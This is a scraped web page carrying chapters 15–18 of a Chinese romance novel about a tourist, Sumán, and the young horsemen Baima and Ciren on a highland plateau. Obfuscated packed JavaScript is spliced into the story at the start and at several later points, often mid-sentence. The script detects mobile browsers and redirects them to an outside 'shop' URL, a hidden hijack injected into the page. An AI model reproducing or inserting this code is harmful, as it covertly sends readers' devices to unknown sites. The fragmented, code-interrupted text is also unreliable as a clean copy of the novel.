0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13591141|143228||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 件比较好的家庭会做的事情,因为有些网红歌手,价格也不菲。就像我们汉地花钱请戏班子唱戏、请明星来唱歌一样。 白玛来了以后,苏曼明显变的轻松了起来,看着这些震撼的仪式,特别新奇。不停的拍照,摄影。 而次仁也在一旁陪着,自从白玛来了以后,他就没有再和苏曼有更多的互动。 白玛浓俊的眉眼下,即便是默不作声,也隐藏着一股“我不高兴了”的姿态。 草原上的狼,各个都不是好惹。 次仁可不想跟他硬碰硬。 他就像另一头狼一样,围着,虎视眈眈着。直到一个疏忽,就把你吞食。 扎西终于气喘吁吁的赶来,还好赶上了婚礼。 同时身后还跟着一个让苏曼都惊艳的本地女孩。 欧式大双眼皮,难得的白皙皮肤,瓜子脸,娇嫩的嘴唇,像是中西混血一样的高原美女。 将近一米七的身高,长长的裹裙裹着她的下半身,显得身材更加高挑。 美女长长的辫子搭在一边的胸前,脖子上挂着一根很粗的金项链,都垂到了肚脐眼的位置。 这是富家千金的装扮。一般人是不会平时把金项链这样戴出来的,金项链目测也有三百克左右。 这是直接把十几万钞票戴在了身上啊。 这样的大美女,真不是常人能所及吧。 可是,她是曲珍,她就是那个追着爱次仁的女孩。 曲珍直接就冲着次仁走来。 原来她虽是这个乡里的,但是却一直住在县上,今天本没打算来参加婚礼。 直到鸡贼的扎西去了县上找她,说今天次仁会来她们村里参加婚礼。 所以,姑娘跟着扎西就追了过来。 次仁看了一眼白玛,他知道这是他的把戏。 苏曼一脸懵的看着次仁,心想,如此美丽的高原之花,这小子竟然都不去摘。 按这样的姿色和条件,应该小伙子们都在排着队等着拿号码牌吧,可是曲珍只爱次仁,谁也看不上。 白玛,似乎是松了一口气,又似乎是等着看次仁的好戏。 他高高的身子挡在了苏曼的前面,从苏曼肩上拿下了她的包,直接跨在了自己的肩上。 似乎在说:曲珍姑娘,请不要误伤。 他可是知道高原姑娘的厉害。 次仁看着白玛,舔了舔唇,觉得他又好气又好笑。 而扎西,早在一旁,竖起耳朵,转动着他那双八卦的眼睛。 曲珍站在次仁面前,身高一米七的她和一米八的次仁,站在一起,真是及其的般配,简直就是高原上的俊男美女。 “你过来怎么不告诉我?这些天怎么不回我消息?” 曲珍一副大小姐的做派,既委屈又盛气凌人。 “在忙,没空。”次仁到是不惧她。这种场面,他早已司空见惯。 苏曼躲在了白玛的身后,一手还偷偷抓着跨在白玛身上的包。 没见过世面的样子,像个小白兔一样在那里瑟瑟发抖。毕竟她是跟着次仁过来的。 而白玛,则双手交叉于胸前,心中窃乐。 15. 第15章 这是次仁自己的一场仗。 “你那天打架就是为了她吗?”战火还是烧到了苏曼这里。 白玛挺身而出:“他是帮我的忙。是我打的。” 曲珍那美丽的大眼睛,扑闪扑闪的顿时委屈满满:“那她是你带来的吗?” “对。”次仁依然没把她当回事。 这可真要命。 再这么下去,苏曼可真成她的目标了。 白玛急了,一个德西把她当目标还不够,这又来一个曲珍: “次仁,你瞎说什么啊?” 次仁看了一眼苏曼,转口道: “我帮白玛带她来的,白玛刚才有事来晚了。” 曲珍终于松了一口气,但她还是觉得自己非常没面子。 苏曼屏住气息,身子紧紧贴着挂在白玛身上的包。 堂堂高原之花,众多追求者,却在次仁这里栽了跟头。 “我是不是你女朋友?”众目睽睽之下,曲珍依然咄咄逼人。 “不是。”次仁依旧冷若冰霜。 这最后的面子,还是没有找回来。 扎西适时的跳了出来: “你们两个不要吵啦,人家今天结婚呢!你们两个好好的谈嘛,搞的我们在这多不好,都是客人嘛。” 这总算是给了曲珍一个台阶。 扎西终于完成了白玛交代的任务。圆满完成。 两头狼已在暗暗较劲。 - 婚礼结束,三人准备把苏曼送回酒店,可是次仁却提议,既然都已经下午傍晚了,干脆大家一起吃个晚饭。 扎西提议去吃火锅。长西高原上的人也一样深切的热爱着火锅。 于是四个人走进了一家火锅店,随意坐了下来。 白玛立刻问次仁: “你不是跟曲珍在谈吗?怎么说没有呢?” 这也是白玛为什么让扎西把曲珍请来的原因。大家都说曲珍是次仁的女朋友。 曲珍在自己的朋友圈还发过和次仁一起约会的照片,是一张次仁走在前面的背影,到现在都没有删。 只不过大家也知道,次仁的心思大多在骑马上面,对待女朋友一直比较冷淡,曲珍也是到处抱怨,人尽皆知。 所以大家都默认曲珍是他女朋友,只是对曲珍不太好。 而他却跟白玛说要追苏曼,这叫白玛怎么不生气。 可是今天次仁又说曲珍不是他的女朋友。 “谁说我跟她在谈了?都什么年代了,你们还这么保守。”次仁淡淡的说。 保守?扎西对这一点可不同意: “那你拉过她的手没有嘛?亲过没有嘛?” 苏曼也想知道,只是担心破坏了他们高原上的传统:在外羞于论男女之事。 可是当扎西这样问出的时候,苏曼又发现,这个羞于只是存在于传统里或传说里,又或者是他们的借口里。 “我没拉过她的,她拉过我的。” 苏曼噗嗤笑了出来:“哈哈,次仁,你这说的有点复杂哦。” 曲珍到现在都还没有结婚,虽然她也才二十岁。按理来说,像她这种条件,应该是早早就被人盯死了的。 但她爱的是,次仁这个难搞的人。 曲珍这个话题就算是过去了。大体来说,就是曲珍还在追次仁,并且一厢情愿的霸占他:成为她的男朋友。 可是白玛还是没有放过次仁: “那你怎么带姐姐去参加婚礼,不跟我说一声?” “这是我跟她的事,干嘛要跟你汇报,她同意了就行。你又不是她的什么人。就算你是,她同意也可以。” 这很高原。 次仁怼的白玛说不出话来。气氛有些紧张,苏曼有些尴尬。 “吃吃吃!吃火锅!饿死了!”扎西又出来打个圆场。 这两人可都是他非常欣赏的兄弟。白玛带他玩,次仁他却不太勾搭的上,所以扎西跟白玛就更“兄弟”一些。 今天他也算是替白玛办了事,他还惦记着白玛的那匹小红马呢。 白玛坐在苏曼的右边,给苏曼涮了一漏勺的羊肉卷,夹到苏曼的碗里。 他这样的刚毅汉子,竟然也做起这样的事情来了。次仁和扎西坐在他俩对面,扎西眼神复杂。 扎西道:“次仁,今天你请客哈!可不能让我们姐姐请客。今天你把我们姐姐吓坏了,哦不是,你那个曲珍把我们姐姐吓坏了。” “她不是你们叫来的吗?”次仁举着筷子,直直的看着白玛。 苏曼转过头一脸茫然:“怎么了?” “没事,就是我让扎西把曲珍叫来的,她一直在找次仁嘛。” 白玛不以为然,夹了碗里的一筷子肉送到嘴里。他没有说实话。 “以后我的事你少管。” 白玛盯了会儿次仁,意思是谁叫你招惹姐姐,我就管。 吃饱喝足,次仁买了单,白玛提议去朗玛厅再坐一会儿,难得今天这么多人。 扎西意外的跳出来反对: “你们三个这一天玩的挺开心,我的次旦还在牧场上呢,真不公平。我不去了!都当了一天的电灯泡了。” 苏曼也觉得不好意思,她一个游客,还让这么多人免费陪着她。 “那算了,扎西你回去吧,要不咱们都散了吧。改天再说?” 白玛瞪了扎西一眼:“你的小红不要了是吧?那我卖给别人了啊!” 扎西瞬间瘪了气,完全被白玛拿捏的死死的。 次仁觉得好笑:“走吧走吧,去喝点吧。就当陪陪你姐姐。” 说着次仁揽着扎西的肩膀就走。他那个高个子揽走扎西,简直不费吹灰之力,扎西的脚交叉着倒了两下,就顺着次仁的步子往前走了。 四个人开上了车,直奔朗玛厅。 苏曼,还是那身羊绒大衣,第二次踏进这个地方,感觉有点熟悉了。 和上次一样,厅里主要都是一些当地的小伙子在喝酒聊天。 演出也已经结束,他们坐到之前扎西坐的那张桌子,前排最右边的角落里。 白玛喊服务员搬来了一箱啤酒,十分娴熟的开好了四瓶。 次仁拿起就对着酒瓶子灌了一口。 白玛给苏曼摆过来一瓶:“姐姐,你少喝一点,不然喝多了明天又要在酒店休息咯。” 苏曼冲着白玛和次仁说:“你们两个才要少喝一点。” 她指的是上次赛马节庆功宴打架的事。那可真是把她吓坏了。 “姐姐,我们四个先干一杯吧。然后我们来 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13591142|143228||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 玩游戏好不好?”扎西开始主持局面。 放下酒杯,三个人都盯着扎西,看他要玩什么花样。 当然是真心话大冒险。 扎西摩拳擦掌的,一个一个轮流来,先从苏曼姐姐开始: “姐姐,你选真心话还是大冒险?你选真心话吧,大冒险不适合你。” “好。” “那我先问你,你为什么不想谈恋爱,不想结婚。” 原来扎西在这里等着呢。 苏曼把脖子缩了回去,这个问题她不太好回答。 “嗯......可能我觉得只有自己才是靠的住的吧。” 白玛和次仁的眉头同时皱起,这是什么意思?怎么可能呢?家人才是最能靠的住的啊! 轮到旁边的白玛了。扎西还未开口,次仁举起了手,他有问题问白玛: “白玛,你会为了你爱的人,离开高原生活吗?如果你不用坐家的话。” “能啊!这有什么不能的。如果不用坐家的话,干什么都行。” 白玛朝空中吐出一口烟,接着喝了一口啤酒,回答的很轻松。 这也是次仁想要的答案。英雄所见果然略同。他曾为心爱的女孩许诺过,带着她,离开这个束缚的高原。 好,到次仁了,白玛跃跃欲试: “次仁,你现在有喜欢的女孩吗?你总说这个不喜欢那个不喜欢的。” “有啊。”次仁看着白玛挑了挑眉。 扎西瞪着眼睛看着白玛,难道他说要追姐姐是真的? 白玛眯着眼审视着次仁,难道他是想在苏曼身上弥补汉族女孩的遗憾? 轮到扎西了,这个问题交给苏曼来问: “扎西,你会和次旦结婚吗?” 扎西总是说,女朋友是女朋友,谈恋爱是谈恋爱,结婚是结婚,苏曼好奇他的答案。 “看她嘛。她要是愿意嫁给我,我就娶她啊。可是她家里看不上我呢。我们家没什么牛,也没有马,次旦家里一百多头牛呢,你看她天天在牧场上多辛苦。我也可以嫁给她啊,我帮她去放牛,她在家里帮我生娃娃带娃娃。都可以啊。” “那你其他那么多女朋友咧?” 苏曼有点不明白。 “哎哟,你又问我一个问题了,那待会儿我可要再问你一个问题咯。”扎西还是坏。 “好嘛!那我回答你这个问题。”扎西继续说道, “其实呢,我是一个女朋友都没得的嘛。我们跟次旦两个是喜欢,但是她家里也没有答应,所以她还不能算是我女朋友。你说其他那些女朋友,哎呀,都只是聊聊天嘛,这有什么的。万一次旦不要我了,我难道还要打光棍啊?” 嗯,这也很高原。 潇潇洒洒,如是也。 看似荒谬,但它确实有它自己的道理。 他们每一个人,都只对自己负责。 只取悦自己。 爱你,或不爱你,都是为了取悦自己。 和专不专一没关系。 这个世界上,没有一份感情是专一的。 人总是会变心。生活,不过是随缘的往下过的日子罢了。 在可以选择与享受爱情的年纪,从来不需要委屈自己。 这个回答到也是没毛病。 16. 第16章 最后一个大冒险:苏曼让扎西亲白玛一个。 苏曼还是不了解他们。 对于高原的小伙子们来说,勾肩搭背,光着身子睡在一个被窝里,甚至两个男的一起牵着手逛街,都是常事。 扎西很轻松的就抱着白玛的脸嘬了一口。白玛一脸嫌弃的用胳膊擦了擦脸。 最后次仁买了单,大家一起将苏曼送回了酒店。 白玛明天还要早起,帮三舅舅拉水,屋头水桶里的水已经喝完了。 白玛一共有四个舅舅,大舅舅家庭条件非常好,有一百多头牛,生了十个孩子,也养了几匹马,每年也会做一些牛和马的生意。 他家在村上盖了两栋房子,一栋非常漂亮,装修精美,但是他们全家和奶奶却住在旧房子里,新房子不舍得住,只在节日时用来招待客人用。 其中一个儿子跟白玛的年纪差不多,在小学毕业以后就直接出家去做阿克了,在一个离家比较远的寺庙里。 二舅舅出家了,离开家乡多年,几年也不回来一次。是和白玛的妈妈关系最好的一个,特别关心白玛的成长,在白玛的成长过程中一直充当着精神父亲的角色,总是苦口婆心一打视频就打好几个小时。 有时白玛因为忙,没有接到视频电话,他还会很生气的删除拉黑白玛,需要白玛去哄他加回来。 最小的舅舅还不到三十岁,去年才刚结婚。之所以这么晚结婚,是因为这个小舅舅去外面读了大学回来,看到了外面的世界,也谈过外面汉族的女朋友,据说爱的很深,但最终他还是回到了家乡。 如今也从家里分了出去,和老婆单独在县上租房子生活,做着自己的生意。今年还生了一个可爱的娃娃。 最后这个三舅舅,用白玛的话说,他是一个可怜的人。他天生有些跛脚,干不了太重的活,他的妻子几年前在家里生产时难产没有挺过去,只留下来一个孩子,如今两个老小相依为命。 白玛的妈妈经常会帮衬他一些,白玛也会过去帮他们家做点事情。 去年冬天的时候,白玛的妈妈自己做主把白玛的一头母马送给了三舅舅。 母马已经怀了孕,今年能生下一只小马,就能拿去卖一些钱。往后的每年,只要给母马配了种,每年都会生下一只小马。 白玛承担着家里所有的事情,没有父亲的他,从小就知道他自己的责任。 他很尊重妈妈,总是听从妈妈的安排,因为她总是对的,她是一位善良而又平凡的女性,却总是做着不平凡的事情。 白玛推着三轮车去村里水龙头那边装水,三轮车上放一个巨大的白色的塑料桶。 帮三舅舅家把水桶装满后,又带着小外甥去村口的小卖部给他买了些零食,两人吃着雪糕正溜溜达达的往回走。 大舅舅迎面跑了过来,冲着白玛喊:“白玛!我的马不见了!你帮我去山上找一哈!去屋头骑我的摩托车去!” 丢牛、丢马是经常会发生的事,如果不及时找回来,有可能会遇到山里的狼。如果是小马小牛那就有可能保不住了,拖的时间越久,被狼发现吃掉的可能性就越大。 白玛又急冲冲的骑着摩托车往山上开去。 一个十九岁的小伙子,已经承担起了家里所有的责任。 而其他这个年岁的小伙子,可能还都在县上谈恋爱、打台球呢。 - 白玛今天有事,陪不了苏曼。苏曼打算自己在县上逛逛,去博物馆看看,据说那里有这个县城里所有的文化历史记载。 刚走出酒店的大门,就看见次仁靠在摩托车上,交叉着双腿,像是在等人。 “苏曼!” 苏曼感到惊讶,这小子不会是一直在这里等着我吧。 “你怎么在这?” “我等你啊,你要去哪里?” “啊?你等我干嘛?我......那个,准备去县上的博物馆看看。” “我就是来看看。我带你去吧。不远。” 次仁一个长腿抬起,潇洒的跨上了摩托车,示意苏曼上来。 苏曼就这样,被次仁骑着摩托车载走。 “他们都叫我姐姐,你怎么不叫我姐姐?明明你比我小。” “不喜欢叫姐姐。” 苏曼想把他当个弟弟一样对待,生怕又搅入新的纷争,毕竟曲珍也住在县上。 几分钟的路程,就到了。次仁没有要走的样子,直接和她一起进了博物馆的大门。 博物馆并不大,装饰很现代化,有一整面大大的玻璃窗,远看像一个玻璃房子,阳光可以满满的洒进屋内。 天花板上挂着很多书法文字吊旗,供游客们欣赏。里面也有很多的书籍,窗边一排的木桌,大家在窗边的阳光下看书,喝茶,聊天。 要说这是一个博物馆,到不如说更像是一个文化图书咖啡厅。 苏曼拿次仁没有办法,在县上这么耀眼的一个人物,却跟在了她的屁股后面,多少双女孩子的眼睛都盯着他。 苏曼只好拿起一本书,径自走到了窗边坐下。 次仁也拿起一本,坐在她的对面。 “次仁,你就这样陪着我啊?你自己不去忙事情啊?” “我没事啊,我就是过来陪陪你。也不知道你什么时候会走......” 次仁随意的翻了翻书,其实他都看不懂,汉字认的也不多。 “我,看心情吧......想走的时候就走了。” 苏曼也不知道自己打算待到什么时候。这就像是她的一个间隔年,非常重要的一个间隔年。 总要做些什么事情,或者放下些什么事情。等这些都完成了,自然就到了该走的时候。 在不一样的广阔天地里,说不定能找到另一个深处的自己。 “苏曼,你喜欢这里吗?” “喜欢啊,这里安静。与世隔绝,可以什么都不想。特别舒服。” “那我可以追你吗?”次仁用他的浓密大眼看着她, “不可以!” 次仁撇撇嘴,笑了笑,可能他在想,还从来没有人这样拒绝过他。 他走到墙边,拿下了架子上的曼陀铃,坐在那里开始弹了起来。 这是他最喜爱的乐器。以前他总是给他心爱的姑娘,弹唱一曲。那是一段快乐的日 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13591143|143228||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 子,那是四年前的日子。 次仁低垂着脸,长发盖住了他的大半张脸,只露出漂亮的眼睛。流水般的琴声在他修长的指尖,带着他的忧伤,流淌在这个洒满阳光的图书馆。 图书馆里的游客姑娘们都抬起头,认真的看着这个美男子,有些举起了手机。 今天的次仁和几天前的他完全不是一个人。 今天的他,很忧郁。 苏曼趴在桌子上,听着曼陀铃,演奏着他的伤心往事。 次仁弹完回到她的对面坐下。 “你不开心了吗?” “没有......”苏曼脑袋枕着胳膊,望着窗外。 她不知道自己是怎么被次仁影响了情绪。 将她也带入了悲伤,似乎他在演奏着一个悲伤的结局。 - 白玛骑了三十多公里,在山上找了好几个山头,终于在天黑前把小马带了回来。他迫不及待的赶到了酒店的门口。 苏曼在酒店睡了一下午,今天被次仁闹的情绪低落,本可以不理会,但还是觉得心里堵。那种悲伤的情绪一泻千里的涌了出来,包裹着她。 白玛的到来,让她好了许多。 白玛看出了她的低落,昨晚还好好的,今天怎么就像只失去了斗志的小鸟,飞不起来。 “姐姐,你怎么了?”白玛沉稳的语言中带着一股力量。 “今天次仁来找我了......我不知道,就是觉得他好像很伤心的样子。” “他伤心,你为什么也伤心?” 苏曼的眼瞬间红了起来,鼻子一酸,似是许多委屈,在这高原上的稀薄空气下,爆发了出来。 傍晚,红色的晚霞穿过酒店的屋顶,照在两个人的一侧。 白玛拉着苏曼的胳膊朝摩托车走去: “走,我带你去山顶看星星。” 晚风吹着白玛的长发,唱着比曼陀铃还要美妙的歌。 在崎岖的山路上,白玛熟练的轰着油门,载着苏曼往无人的山顶走去。 他们在山上开开停停,白玛给苏曼讲每一个山头的故事。 哪里走丢了他家的一匹马,哪里走丢过谁家的牛,夏天的时候哪里的水草最肥沃,冬天的时候哪里会有野马过冬。 这是他的一片天地。 苏曼站在广阔的山脉上,看着一片片绿色的草原,和远处的白色房子,心情开始好了起来。 “白玛,那是你们村子吗?那边是不是县城?” “对,那边是县城,我们村子在这边。” 白玛抓着苏曼的胳膊移向另一边,给她指了村子的方向。哪个是扎西的村子,哪个是次仁的村子。 提到次仁,白玛顿住了,不提他了,是他让姐姐伤心了。 “没事,跟他没关系,我只是想到了自己......” “是不是没有人关心你......我觉得你......好像很孤独呢。” 他的长发,在风中飘扬,苏曼看着这张经常让自己恍惚的立体浓颜,十分感激。 “姐姐,明天我带你去林孜县买马吧?就当是去旅游了。” 17. 第17章 今天要去林孜县买马,一大早白玛便开着他那辆后面带着斗的货车,等在了酒店的楼下。 “姐姐,我到啦。” 苏曼穿着那件红色的羽绒服冲了出来,脸蛋红扑扑的。 白玛戴着一顶毡帽,穿着他那件暗黄色民族服装,看上去有些老成。他递给苏曼一袋子早餐,又帮她拉开了车门。苏曼楞了一秒,钻进了车子。 白玛坐进驾驶室,又探过身子帮苏曼系上了安全带:“姐姐,出发喽!” 今天的白玛有些殷勤,苏曼也不知道是不是错觉,他今天怎么变得这么无微不至了。 或许买马,是他特别喜欢去做的一件事情吧。 “这......又是锅盔?”苏曼举着手里的大饼问道, “对,我妈妈做的。”白玛挂上档,向后看了一眼,起动了车子。 他今天确实心情不错。 苏曼啃着大饼,随着白玛的车子一路向前。 “扎西今天怎么不来呢?” “噢,他去牧场上陪次旦了,给她送吃的去。” 也是,他也需要谈恋爱,总不能一直跟在白玛的身边。 “姐姐,我昨天晚上在想,要不要我去找次仁说一下,不过这还是要经过你的同意的,你说可以不?” 苏曼转过头:“说什么?” “就是说叫他以后不要来找你啊!”白玛用他那双乌溜溜的豆豆眼,无辜的看着苏曼。 “哦,那到不用。他也没干嘛。” 他只是问能不能追她,这在高原上,应该不算什么吧,毕竟扎西也跟她表白过。 苏曼到现在,还不太能分辨,他们说的喜欢,是哪种喜欢。 “姐姐,你要是困,就睡一会儿吧,还要开很久呢。拿我这个帽子盖着脸,睡的可香了。” 说着白玛将头上的毡帽摘了下来。 “没事,我不困,我看看风景。” 白玛拧开了音乐,车上插着一个小U盘,那里面应该都是他最喜欢的音乐。 苏曼虽然听不懂,但是也能知道这是他们高原特别红的一首歌,因为走在大街上,或餐厅里,总能听见在放这一首。 林孜县位于长西高原的中心腹部,有着最大的马场和培育基地。是周围几个县的马匹交易中心。 这里有各种各样的马供大家选择购买。特别是一些小的马仔,往往价格特别便宜,甚至一两千元就可以买到,回去养个把月,再转手卖个五六千元就是赚。 白玛经常来这里逛逛,看看有什么新的品种,什么新的价格行情。所有爱马的人都会来这里,就像女人去购物中心逛街一样,流连忘返。甚至能逛上好几天,住个几天再回。 当然,他们一般情况下都是和几个兄弟一起前来,包括做马的生意也会和几个兄弟一起凑钱合资,这样就可以买到更多的马匹回去。毕竟难得来一趟。 据白玛说,他的那些兄弟都很喜欢跟他一起来买马。因为他的眼光独到,他能看出哪些小马仔有潜力,能看出长大后它们的长相是否漂亮,因为这些都决定了将来卖出时的价格。 不过,很少有人,带女孩子来这种地方。 这里是男人的天堂。 可是白玛,就是想让姐姐看看不一样的地方。他工作的地方,他是如何做马匹生意的。 他也不害怕把姐姐带到这种地方来,他可以保护她。 从来都不了解马的苏曼,第一次看到这么大的马匹交易中心。那么大的马场,井然有序的在草原上繁荣着。 白玛一路都拽着她的胳膊,生怕她走丢了,走到哪里都拽着。 偶尔也会碰到熟人,周围几个县里爱马的人都会经常出没在这里。 苏曼:“这些人你都认识啊?” 白玛:“对啊。我们经常来马场的,见的多了,就熟了。” 苏曼:“噢!那这应该就是你们马圈了。哈哈。” 白玛转过头看着苏曼,眼里闪着小星星:“这个词说的好!就是马圈。哈哈。” 苏曼跟在白玛身旁,人群拥挤时,也会主动拽着他的衣服。偶尔挤到不行的时候,白玛会一个大手抓着她的胳膊将她拎过来。 这里是白玛的天下,他顶着一张晒的黝黑发亮的脸,坚毅而又老道的穿梭在各个马市老板之间,用他的专业和经验,叫这些老板折服。 他总能用优惠的价格淘到有潜质的马。 但是今天,他看上了一匹外地马。 这是一匹高大的黑色的马,额前有一撮白色的毛,形状像一朵格桑花。 毛色油亮,长的也很漂亮,用白玛的话说就是脸型长的好。从老板给他看的视频里,能看出马儿走路以及跑步的姿态也很帅。 就是脾气特别暴躁,经常抬起前蹄嘶叫,要么就是在原地暴躁的不停踏步。若是站在它的后方,它甚至还会用它的后蹄子踢你。 这是一匹还没有被驯服的好马。 白玛两眼放光,苏曼能感觉到他似是看的口水都要流下来了,他围着马不停的“嘶嘶”着,在琢磨着怎么把它拿下。 老板开价十八万。 “这么贵啊?这都能买一辆好车了。” 苏曼小声在白玛耳边说道,白玛抿着嘴笑,弯着眼、低头看着身旁的苏曼,他可能在笑她不懂。 苏曼看到高原上的小汽车都是几万块钱的国产车,甚至他们还会去兰城花一两万、两三万买二手车开。不舍得买好车,却这么舍得买马。 况且,马儿还会生病,甚至死亡。 这并不是百分之一百保险的生意。买马卖马,也有赌的成分。赌它能一直健康的活下去。 特别是外地马。 外地马在肺活量方面,真的挺难适应高原的稀薄氧气,死亡也是常有的事。 苏曼有些担心。 但是白玛实在是太喜欢了,相中了的马,不占为己有,那实在是不符合他们高原汉子的性格。 “老板,十三万吧。我只能给这么多了。” 白玛双手交叉胸前,向前凑起,小声的跟老板讲着价。 老板摆摆手:“低于十五万卖不了。” 他也许看见了白玛眼里的小星星,他们这种人,对于爱马人士的心理那是拿捏的死死的。 白玛或许还是嫩了点。 苏曼拽着白玛的衣服,嘴里说道:“走吧走吧,太贵了,我们再看看。” 白玛还是不死心:“你这个马拉过来好久了嘛?” 他想知道这匹马在高原上生活了多久,是否已经适应了高原的氧气。 “我都养了半年多咯,你放 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13591144|143228||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 心,肯定没得问题的。你看这马,精神多好。” 半年多肯定没问题了。 老板又继续说:“我养它这半年都花了不少钱了,你给十三万肯定不得行。” 白玛蹙了蹙眉,扁了扁嘴,还是拿不定主意。 他这次带了十五万现金过来。在高原上的交易,基本都是现金交易,看的见摸的着。若是把钱都拿来买这匹马,那他就买不了其他马了。 “哎呀,老板,便宜点嘛。给我留点钱买匹母马嘛!” 品相好的母马,专门会用来和种马培育,每年生一胎,是钱生钱的生意。 白玛现在手里只有五匹母马,他这次来,是还想再买两匹,或者买一匹母马,再买一匹品相好的种马。 但是现在他看上了这匹外地马,这打乱了他的计划。 老板笑嘻嘻的看着白玛,十分淡定的掏出香烟,点上了一根,他在等着白玛做决定。 “来,小伙子,抽烟不?不着急,慢慢想嘛。” 老板给白玛递过来一根烟,双手也交叉抱着,他吞着烟雾站定,开始和白玛聊了起来。 “我跟你说,你小伙子眼光好的很,这里我这匹马是最合适的,要去其他家,没二十万下不来。” 白玛接过烟,点上,蹲在了一旁,他推了推头上的毡帽,还是在犹豫。 苏曼站在一边,怯怯的问道:“要不我们再转转看?说不定有更好的呢?” 白玛看了一眼苏曼,思考了一阵,或许姐姐说的话有道理,或许姐姐能给他带来好运。 “行。那我们再看看!” 白玛腾的站起来,似是打定了主意。将烟头扔在地上,用脚踩了踩,拉着苏曼的胳膊就往外走。 “就是嘛,太贵了。要是本地马有这个品相咱肯定就买了。主要还是怕养不久。” 苏曼一边安慰着白玛,一边用她蹩脚的知识说服白玛。 她太害怕这十三万因为马儿养不活而打水漂了。老板说已经养了半年,但老板的话,哪是那么容易就能相信的。 “姐姐,你包包要我帮你背起不?” “不用不用,你好好看你的马。” 一个来买马的男子汉,带个女人本就不妥,再背个女人的包包,更加不妥。 苏曼观察了一下这个马场,来逛的女性几乎没有,有也是一些马场的老板或者媳妇,客人是没有的。 转了两圈,白玛相中了一匹林孜母马,林孜马比巴龙马个子高些,样子更加漂亮些,但还是比不上外地马。白玛打算用这匹林孜母马来配混血马。 最后,他还是惦记着那匹外地马。一件喜欢的东西,一旦入了心,便再也拔不出来了。 白玛带着苏曼又回到了老板那里,最后折了个中,以十四万成交了。 苏曼看着白玛兴奋的从包包里一捆一捆的搬现金出来,直到桌上摆满了十四捆,她有些触动,又有些心惊肉跳。 苏曼也是见过现金的人,但是却没见过拿着现金这样买马的人。 天空的鸟儿不会说话,大地的草儿不会歌唱,但白玛的热血,苏曼是看的清清楚楚。 她终于有一点能理解他们草原上马背上的汉子,对马的那份执着与热爱了。 希望这份执着与热爱,能给白玛带来更多的财富。 18. 第18章 白玛拉着他的两匹马,一路兴奋不已,跟着音乐还一起唱起了民歌,苏曼受他的感染,心情也是大好。 快乐的时间总是过的特别的快,回程也变的更加短暂了。 白玛把苏曼放在酒店的门口,自己开着车子拉着马,回了村里。 扎西和两个大叔守在白玛家的门口,等着看他新买回来的宝马。 “白玛,你可以撒!这么贵的马你都敢买。” 长发大叔举着烟斗,穿着一双破旧的拖鞋,裤脚挽起,老远就冲车里的白玛喊道, 白玛嘴巴笑的都合不拢了,将车停好,跳了下来。 “你看看帅不帅嘛!我都转了两圈了,就它最帅!” 白玛将后斗打开,搭上木板,两匹马分别从车上走了下来。白玛牵住黑马的缰绳,生怕它又撂了蹄子。 长发大叔赶紧上前,接过缰绳,左看右看。 “小心点哈!它烈着呢!小心它踢你。” 扎西在一旁也咧着个嘴笑,这是一件值得庆贺的事情。也许未来几天,白玛家里会有各个村的人络绎不绝的前来,看他的宝马,并且还会和宝马合影。 在这边,十万以上的外地马,是稀罕物。没有一定经济实力的人,是不会买的。 所以照这样说,白玛绝对算的上是这十里八乡的一个人物了。 不一会儿德西的爸爸也来了,他骄傲的站在马的一侧,摸着马的屁股。 “白玛!给我照一张撒!” 他要求白玛给他和宝马拍照合影。他长长的黑发,摆上草原汉子的姿势,站在黑色的宝马旁边,特别相衬。 妈妈也从舅舅家赶回来,看到白玛买回一匹这么漂亮的马,还有这么多人跑来观看,心里非常高兴。 “好多钱嘛?” “十四万。” “啥子?” 白玛嘿嘿笑着,妈妈是个勤俭节约的人,看他买了这么贵的一匹马,肯定还是惊讶的。 但是妈妈总是支持他做的任何事情,无条件的支持。她从小就把他当成一个独立的男子汉来培养,她盼望着他快点长大。希望自己的儿子,是个真正的草原男子汉。 白玛就是她的光。 妈妈嘴里说着贵,心里还是乐的。 “我今天给你把马房里的马粪清理咯,铺的那个厚厚的一层。马都走不开咯。” 马房里的马粪已经厚到有十公分那么高了,白玛这些天一直在陪苏曼做向导,没有时间去清理。 清理马粪是个体力活,需要用铲子一点一点的铲起,说是把地面铲低十公分的高度也不夸张。妈妈身体本来就不好,白玛抱怨妈妈不应该帮他打理马房的事。 “以后马房的事你不要管嘛!都等我自己来。” 